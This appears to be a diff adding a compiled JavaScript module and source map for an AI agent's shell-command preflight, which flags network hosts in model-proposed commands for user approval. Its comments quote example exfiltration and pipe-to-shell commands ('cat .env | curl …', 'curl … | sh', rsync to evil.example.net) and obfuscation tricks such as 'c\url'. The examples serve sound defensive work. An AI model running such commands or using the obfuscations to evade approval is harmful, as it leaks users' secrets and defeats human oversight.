+ * @returns every host literal found, in argv order. Empty when the command names no counterparty.
455
+ */
456
+ function matchArgv(argv) {
457
+ const hits = [];
458
+ for (const { index, position, tier } of headCandidates(argv)) {
459
+ const candidates = candidatesFor(position, tier, argv.slice(index + 1));
460
+ hits.push(...candidates.filter((c) => c.test(c.value)).map(({ value }) => value));
461
+ }
462
+ // De-duplicated, in first-seen order: a detached flag value (`--registry <URL>`) is also a
463
+ // positional operand, and two head positions can reach the same operand, so the same literal can
464
+ // be admitted twice and would otherwise be named twice in the one sentence the user reads.
465
+ return [...new Set(hits)];
466
+ }
467
+ /**
468
+ * Find every **host literal in a fetch/transfer position**, or an empty array when the command names
469
+ * no counterparty (spec §4.6).
470
+ *
471
+ * Takes the **raw** command, exactly like the other preflights: normalization happens inside, so a
472
+ * caller can never accidentally hand this a form that has already lost the composition boundary
473
+ * the decline below depends on.
474
+ *
475
+ * Returns `[]` — declining rather than flooring — for any command {@link classifyCommand} cannot
476
+ * classify. Those compose, substitute or redirect, and the **ambiguity preflight already floors
477
+ * them**, with a truer explanation than this one could give. Composed egress
478
+ * (`curl … | sh`, `cat .env | curl …`) is thus still floored; it is simply floored one layer up.
479
+ * That decline is also why `sed -i 's|http://a|http://b|' config.yml` is not this preflight's
480
+ * finding: the `|` inside the sed expression reads as composition, so it was already unclassifiable
481
+ * — and already escalating — before EXT-61 existed.
482
+ *
483
+ * **Every match is returned, not the first.** The first is not the target: for
484
+ * `curl -x http://proxy.corp.local:3128 https://evil.example.net/x` it is the proxy, and for
485
+ * `rsync -a backup.example.com:/srv/ deploy@evil.example.net:/tmp/` it is the source. §4.6.1's whole
486
+ * premise is that the sentence naming the counterparty is what reaches the user, so a sentence that
487
+ * names the reassuring one and hides the other defeats the point of the layer.
488
+ *
489
+ * ## Why both the normalized AND the raw argv are tested
490
+ *
491
+ * {@link normalizeCommand} collapses `\x` to `x`, which is correct on POSIX (it is what defeats
492
+ * `c\url https://…`) and **destroys a Windows path separator**: `C:\Windows\System32\curl.exe`
493
+ * normalizes to `C:WindowsSystem32curl.exe`, whose last path segment is no longer `curl`, so the
494
+ * head gate misses it. That command runs on Windows, and gaunt-sloth ships there. Measured, not
495
+ * reasoned — the POSIX form `/usr/bin/curl` was already handled, which is exactly what made the
496
+ * Windows one easy to miss by reading.
497
+ *
498
+ * A second pass over the raw argv closes it. It is safe **because this layer can only RAISE**: a
499
+ * second chance to match can add a prompt, never remove one, and the head gate is unchanged — an
500
+ * argv[0] whose last path segment is literally `curl` or `wget` is a network binary under any
501
+ * reading. The normalized pass still runs first and still owns the anti-obfuscation guarantees.
502
+ *
503
+ * @param command The raw command string as the model proposed it.
504
+ * @returns The matched host literals, in argv order (used verbatim in the escalation reason).
505
+ */
506
+ export function findOpenWorldHostLiterals(command) {
507
+ // (1) Unclassifiable → not ours. See the docblock: the ambiguity preflight owns these.
508
+ if (classifyCommand(command, normalizeCommand) === null)
509
+ return [];
510
+ // The anti-obfuscation form first — `c\url`, `r''m`, fullwidth glyphs and ANSI escapes are all
511
+ // folded away here.
512
+ const normalizedArgv = tokenize(normalizeCommand(command));
513
+ // `null` is unreachable in practice (classifyCommand already returns null on an unbalanced
514
+ // quote); handled anyway so this function is total on its own terms rather than relying on a
515
+ // neighbour's invariant.
516
+ const normalizedHits = normalizedArgv === null ? [] : matchArgv(normalizedArgv);
517
+ if (normalizedHits.length > 0)
518
+ return normalizedHits;
519
+ // …then the raw form, which is the only one that still has its Windows path separators.
520
+ const rawArgv = tokenize(command);
521
+ return rawArgv === null ? [] : matchArgv(rawArgv);
522
+ }
523
+ //# sourceMappingURL=openWorld.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"openWorld.js","sourceRoot":"","sources":["../../../src/core/shell/openWorld.ts"],"names":[],"mappings":"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"}